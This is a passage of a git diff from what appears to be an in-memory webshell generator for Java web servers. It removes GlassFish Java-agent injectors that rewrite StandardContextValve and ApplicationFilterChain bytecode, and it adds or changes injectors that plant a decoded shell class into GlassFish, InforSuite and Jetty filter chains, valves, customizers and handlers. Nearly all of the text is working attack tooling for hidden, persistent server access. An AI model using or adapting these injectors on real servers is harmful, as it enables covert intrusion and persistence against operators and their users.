"org/apache/catalina/core/StandardContextValve"; - private static final String TARGET_METHOD_NAME = "invoke"; - - public static String getClassName() { - return "{{advisorName}}"; - } - - public static String getBase64String() { - return "{{base64String}}"; - } - - public static void premain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - public static void agentmain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - private static void launch(Instrumentation inst) throws Exception { - System.out.println("MemShell Agent is starting"); - inst.addTransformer(new GlassFishContextValveAgentInjector(), true); - for (Class allLoadedClass : inst.getAllLoadedClasses()) { - String name = allLoadedClass.getName(); - if (TARGET_CLASS.replace("/", ".").equals(name)) { - inst.retransformClasses(allLoadedClass); - } - } - } - - @Override - @SuppressWarnings("all") - public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, - ProtectionDomain protectionDomain, byte[] bytes) { - if (TARGET_CLASS.equals(className)) { - defineTargetClass(loader); - try { - ClassReader cr = new ClassReader(bytes); - ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { - @Override - protected ClassLoader getClassLoader() { - return loader; - } - }; - ClassVisitor cv = getClassVisitor(cw); - cr.accept(cv, ClassReader.EXPAND_FRAMES); - System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); - return cw.toByteArray(); - } catch (Throwable e) { - e.printStackTrace(); - } - } - return bytes; - } - - @SuppressWarnings("all") - public static ClassVisitor getClassVisitor(ClassVisitor cv) { - return new ClassVisitor(Opcodes.ASM9, cv) { - @Override - public MethodVisitor visitMethod(int access, String name, String descriptor, - String signature, String[] exceptions) { - MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); - if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); - } - return mv; - } - }; - } - - public static class AgentShellMethodVisitor extends MethodVisitor { - private final Type[] argumentTypes; - private final String className; - - public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) { - super(Opcodes.ASM9, mv); - this.argumentTypes = argTypes; - this.className = className; - } - - @Override - public void visitCode() { - loadArgArray(); - Label tryStart = new Label(); - Label tryEnd = new Label(); - Label catchHandler = new Label(); - Label ifConditionFalse = new Label(); - Label skipCatchBlock = new Label(); - mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable"); - - mv.visitLabel(tryStart); - String internalClassName = className.replace('.', '/'); - mv.visitTypeInsn(Opcodes.NEW, internalClassName); - mv.visitInsn(Opcodes.DUP); - mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "", "()V", false); - mv.visitInsn(Opcodes.SWAP); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, - "java/lang/Object", - "equals", - "(Ljava/lang/Object;)Z", - false); - mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse); - mv.visitInsn(Opcodes.RETURN); - mv.visitLabel(ifConditionFalse); - mv.visitLabel(tryEnd); - mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock); - mv.visitLabel(catchHandler); - mv.visitInsn(Opcodes.POP); - mv.visitLabel(skipCatchBlock); - } - - public void loadArgArray() { - mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - for (int i = 0; i < argumentTypes.length; i++) { - mv.visitInsn(Opcodes.DUP); - push(i); - mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i)); - mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE)); - } - } - - @SuppressWarnings("all") - public void push(final int value) { - if (value >= -1 && value <= 5) { - mv.visitInsn(Opcodes.ICONST_0 + value); - } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) { - mv.visitIntInsn(Opcodes.BIPUSH, value); - } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) { - mv.visitIntInsn(Opcodes.SIPUSH, value); - } else { - mv.visitLdcInsn(new Integer(value)); - } - } - - private int getArgIndex(final int arg) { - int index = 1; - for (int i = 0; i < arg; i++) { - index += argumentTypes[i].getSize(); - } - return index; - } - } - - @SuppressWarnings("all") - public static byte[] decodeBase64(String base64Str) throws Exception { - Class decoderClass; - try { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } - } - - @SuppressWarnings("all") - public static byte[] gzipDecompress(byte[] compressedData) { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - GZIPInputStream gzipInputStream = null; - try { - gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); - byte[] buffer = new byte[4096]; - int n; - while ((n = gzipInputStream.read(buffer)) > 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } catch (Exception e) { - throw new RuntimeException(e); - } finally { - try { - if (gzipInputStream != null) { - gzipInputStream.close(); - } - out.close(); - } catch (Exception ignored) { - } - } - } - - @SuppressWarnings("all") - public void defineTargetClass(ClassLoader loader) { - try { - loader.loadClass(getClassName()); - return; - } catch (ClassNotFoundException ignored) { - } - try { - byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String())); - java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - defineClass.invoke(loader, classBytecode, 0, classBytecode.length); - } catch (Exception ignored) { - } - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterChainAgentInjector.java deleted file mode 100644 index 28022bb2..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterChainAgentInjector.java +++ /dev/null @@ -1,215 +0,0 @@ -package com.reajason.javaweb.memshell.injector.glassfish; - -import org.objectweb.asm.*; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.lang.instrument.ClassFileTransformer; -import java.lang.instrument.Instrumentation; -import java.security.ProtectionDomain; -import java.util.zip.GZIPInputStream; - -/** - * @author ReaJason - * @since 2025/3/26 - */ -public class GlassFishFilterChainAgentInjector implements ClassFileTransformer { - private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain"; - private static final String TARGET_METHOD_NAME = "doFilter"; - - public static String getClassName() { - return "{{advisorName}}"; - } - - public static String getBase64String() { - return "{{base64String}}"; - } - - public static void premain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - public static void agentmain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - private static void launch(Instrumentation inst) throws Exception { - System.out.println("MemShell Agent is starting"); - inst.addTransformer(new GlassFishFilterChainAgentInjector(), true); - for (Class allLoadedClass : inst.getAllLoadedClasses()) { - String name = allLoadedClass.getName(); - if (TARGET_CLASS.replace("/", ".").equals(name)) { - inst.retransformClasses(allLoadedClass); - } - } - } - - @Override - @SuppressWarnings("all") - public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, - ProtectionDomain protectionDomain, byte[] bytes) { - if (TARGET_CLASS.equals(className)) { - defineTargetClass(loader); - try { - ClassReader cr = new ClassReader(bytes); - ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { - @Override - protected ClassLoader getClassLoader() { - return loader; - } - }; - ClassVisitor cv = getClassVisitor(cw); - cr.accept(cv, ClassReader.EXPAND_FRAMES); - System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); - return cw.toByteArray(); - } catch (Throwable e) { - e.printStackTrace(); - } - } - return bytes; - } - - @SuppressWarnings("all") - public static ClassVisitor getClassVisitor(ClassVisitor cv) { - return new ClassVisitor(Opcodes.ASM9, cv) { - @Override - public MethodVisitor visitMethod(int access, String name, String descriptor, - String signature, String[] exceptions) { - MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); - if (TARGET_METHOD_NAME.equals(name)) { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); - } - return mv; - } - }; - } - - public static class AgentShellMethodVisitor extends MethodVisitor { - private final Type[] argumentTypes; - private final String className; - - public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) { - super(Opcodes.ASM9, mv); - this.argumentTypes = argTypes; - this.className = className; - } - - @Override - public void visitCode() { - loadArgArray(); - Label tryStart = new Label(); - Label tryEnd = new Label(); - Label catchHandler = new Label(); - Label ifConditionFalse = new Label(); - Label skipCatchBlock = new Label(); - mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable"); - - mv.visitLabel(tryStart); - String internalClassName = className.replace('.', '/'); - mv.visitTypeInsn(Opcodes.NEW, internalClassName); - mv.visitInsn(Opcodes.DUP); - mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "", "()V", false); - mv.visitInsn(Opcodes.SWAP); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, - "java/lang/Object", - "equals", - "(Ljava/lang/Object;)Z", - false); - mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse); - mv.visitInsn(Opcodes.RETURN); - mv.visitLabel(ifConditionFalse); - mv.visitLabel(tryEnd); - mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock); - mv.visitLabel(catchHandler); - mv.visitInsn(Opcodes.POP); - mv.visitLabel(skipCatchBlock); - } - - public void loadArgArray() { - mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - for (int i = 0; i < argumentTypes.length; i++) { - mv.visitInsn(Opcodes.DUP); - push(i); - mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i)); - mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE)); - } - } - - @SuppressWarnings("all") - public void push(final int value) { - if (value >= -1 && value <= 5) { - mv.visitInsn(Opcodes.ICONST_0 + value); - } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) { - mv.visitIntInsn(Opcodes.BIPUSH, value); - } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) { - mv.visitIntInsn(Opcodes.SIPUSH, value); - } else { - mv.visitLdcInsn(new Integer(value)); - } - } - - private int getArgIndex(final int arg) { - int index = 1; - for (int i = 0; i < arg; i++) { - index += argumentTypes[i].getSize(); - } - return index; - } - } - - @SuppressWarnings("all") - public static byte[] decodeBase64(String base64Str) throws Exception { - Class decoderClass; - try { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } - } - - @SuppressWarnings("all") - public static byte[] gzipDecompress(byte[] compressedData) { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - GZIPInputStream gzipInputStream = null; - try { - gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); - byte[] buffer = new byte[4096]; - int n; - while ((n = gzipInputStream.read(buffer)) > 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } catch (Exception e) { - throw new RuntimeException(e); - } finally { - try { - if (gzipInputStream != null) { - gzipInputStream.close(); - } - out.close(); - } catch (Exception ignored) { - } - } - } - - @SuppressWarnings("all") - public void defineTargetClass(ClassLoader loader) { - try { - loader.loadClass(getClassName()); - return; - } catch (ClassNotFoundException ignored) { - } - try { - byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String())); - java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - defineClass.invoke(loader, classBytecode, 0, classBytecode.length); - } catch (Exception ignored) { - } - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java index e9e3d3fd..f63161ec 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java @@ -7,10 +7,7 @@ import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.List; -import java.util.Map; -import java.util.Set; +import java.util.*; import java.util.zip.GZIPInputStream; /** @@ -18,7 +15,8 @@ */ public class GlassFishFilterInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -33,16 +31,21 @@ public String getBase64String() { } public GlassFishFilterInjector() { - List contexts = null; + if (ok) { + return; + } + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -51,6 +54,7 @@ public GlassFishFilterInjector() { } } } + ok = true; System.out.println(msg); } @@ -75,8 +79,8 @@ private String getContextRoot(Object context) { * com.sun.enterprise.web.WebModule * /xxx/modules/web-glue.jar */ - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java index 8c168a3d..4df37f49 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java @@ -14,7 +14,8 @@ */ public class GlassFishValveInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -26,16 +27,21 @@ public String getBase64String() { public GlassFishValveInjector() { - List contexts = null; + if (ok) { + return; + } + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[/*] ready\n"; @@ -44,6 +50,7 @@ public GlassFishValveInjector() { } } } + ok = true; System.out.println(msg); } @@ -64,8 +71,8 @@ private String getContextRoot(Object context) { return c + "(" + r + ")"; } - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java index 0e040ddb..0de8cf4a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java @@ -16,7 +16,8 @@ */ public class InforSuiteFilterInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -31,16 +32,21 @@ public String getBase64String() throws IOException { } public InforSuiteFilterInjector() { - List contexts = null; + if (ok) { + return; + } + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -49,6 +55,7 @@ public InforSuiteFilterInjector() { } } } + ok = true; System.out.println(msg); } @@ -73,8 +80,8 @@ private String getContextRoot(Object context) { * com.cvicse.loong.enterprise.web.WebModule * /usr/local/inforsuite/as/modules/web-glue.jar */ - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyCustomizerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyCustomizerInjector.java new file mode 100644 index 00000000..315977c4 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyCustomizerInjector.java @@ -0,0 +1,220 @@ +package com.reajason.javaweb.memshell.injector.jetty; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.PrintStream; +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.List; +import java.util.Set; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ +public class JettyCustomizerInjector { + + private static String msg = ""; + private static boolean ok = false; + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public JettyCustomizerInjector() { + if (ok) { + return; + } + Object channel = null; + try { + channel = getChannel(); + } catch (Throwable throwable) { + msg += "channel error: " + getErrorMessage(throwable); + } + if (channel == null) { + msg += "channel not found"; + } else { + try { + msg += ("channel: [" + channel + "] "); + Object shell = getShell(channel); + inject(channel, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + ok = true; + System.out.println(msg); + } + + public void inject(Object channel, Object shell) throws Exception { + Object httpConfiguration = invokeMethod(channel, "getHttpConfiguration"); + List customizers = (List) invokeMethod(httpConfiguration, "getCustomizers"); + for (Object customizer : customizers) { + if (customizer.getClass().getName().equals(getClassName())) { + return; + } + } + customizers.add(shell); + } + + @Override + public String toString() { + return msg; + } + + /** + * org.eclipse.jetty.server.HttpChannel + */ + private Object getChannel() throws Exception { + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { + try { + Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table"); + for (int i = 0; i < Array.getLength(table); i++) { + Object entry = Array.get(table, i); + if (entry != null) { + Object threadLocalValue = getFieldValue(entry, "value"); + if (threadLocalValue != null) { + if (threadLocalValue.getClass().getName().contains("HttpConnection")) { + return getFieldValue(threadLocalValue, "_channel"); + } + } + } + } + } catch (Exception e) { + } + } + return null; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + ClassLoader classLoader = context.getClass().getClassLoader(); + Class clazz = null; + try { + clazz = classLoader.loadClass(getClassName()); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); + } + + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } finally { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + try { + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + } + return null; + } + + public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (NoSuchMethodException e) { + throw e; + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java index 7f06ae81..f447c0b2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java @@ -6,6 +6,7 @@ import java.io.PrintStream; import java.lang.reflect.*; import java.util.ArrayList; +import java.util.HashSet; import java.util.List; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -18,7 +19,8 @@ public class JettyFilterInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -33,16 +35,21 @@ public String getBase64String() throws IOException { } public JettyFilterInjector() { - List contexts = null; + if (ok) { + return; + } + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -51,6 +58,7 @@ public JettyFilterInjector() { } } } + ok = true; System.out.println(msg); } @@ -154,8 +162,8 @@ public String toString() { * org.eclipse.jetty.ee9.webapp.WebAppContext * org.eclipse.jetty.ee10.webapp.WebAppContext */ - private List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { try { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java new file mode 100644 index 00000000..c0d44bdd --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java @@ -0,0 +1,254 @@ +package com.reajason.javaweb.memshell.injector.jetty; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.PrintStream; +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.Set; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ + +public class JettyHandlerInjector { + + private static String msg = ""; + private static boolean ok = false; + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public JettyHandlerInjector() { + if (ok) { + return; + } + Object server = null; + try { + server = getServer(); + } catch (Throwable throwable) { + msg += "server error: " + getErrorMessage(throwable); + } + if (server == null) { + msg += "server not found"; + } else { + try { + msg += ("server: [" + server + "] "); + Object shell = getShell(server); + inject(server, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + ok = true; + System.out.println(msg); + } + + public void inject(Object server, Object handler) throws Exception { + Object nextHandler = getFieldValue(server, "_handler"); + if (handler.getClass().isAssignableFrom(nextHandler.getClass())) { + return; + } + validateHandler(handler); + setFieldValue(handler, "nextHandler", nextHandler); + setFieldValue(handler, "_server", server); + + setFieldValue(server, "_handler", handler); + + // jetty6 + try { + invokeMethod(invokeMethod(server, "getContainer"), "addBean", new Class[]{Object.class}, new Object[]{handler}); + } catch (Throwable ignored) { + + } + // jetty 7/8/9/10/11/12 + try { + invokeMethod(server, "addBean", new Class[]{Object.class, boolean.class}, new Object[]{handler, true}); + } catch (Throwable ignored) { + } + } + + public void validateHandler(Object shell) throws Exception { + Class handlerClass = shell.getClass().getSuperclass(); + Method rightHandleMethod = null; + for (Method method : handlerClass.getMethods()) { + if (method.getName().equals("handle")) { + rightHandleMethod = method; + } + } + shell.getClass().getMethod( + "handle", + rightHandleMethod.getParameterTypes() + ); + } + + @Override + public String toString() { + return msg; + } + + /** + * org.eclipse.jetty.server.Server + */ + private Object getServer() throws Exception { + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { + try { + Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table"); + for (int i = 0; i < Array.getLength(table); i++) { + Object entry = Array.get(table, i); + if (entry != null) { + Object threadLocalValue = getFieldValue(entry, "value"); + if (threadLocalValue != null) { + if (threadLocalValue.getClass().getName().contains("HttpConnection")) { + return invokeMethod(invokeMethod(threadLocalValue, "getConnector"), "getServer"); + } + } + } + } + } catch (Exception ignored) { + } + } + return null; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + ClassLoader classLoader = context.getClass().getClassLoader(); + Class clazz = null; + try { + clazz = classLoader.loadClass(getClassName()); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); + } + + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } finally { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + try { + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + } + return null; + } + + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + Field field = getField(obj, fieldName); + 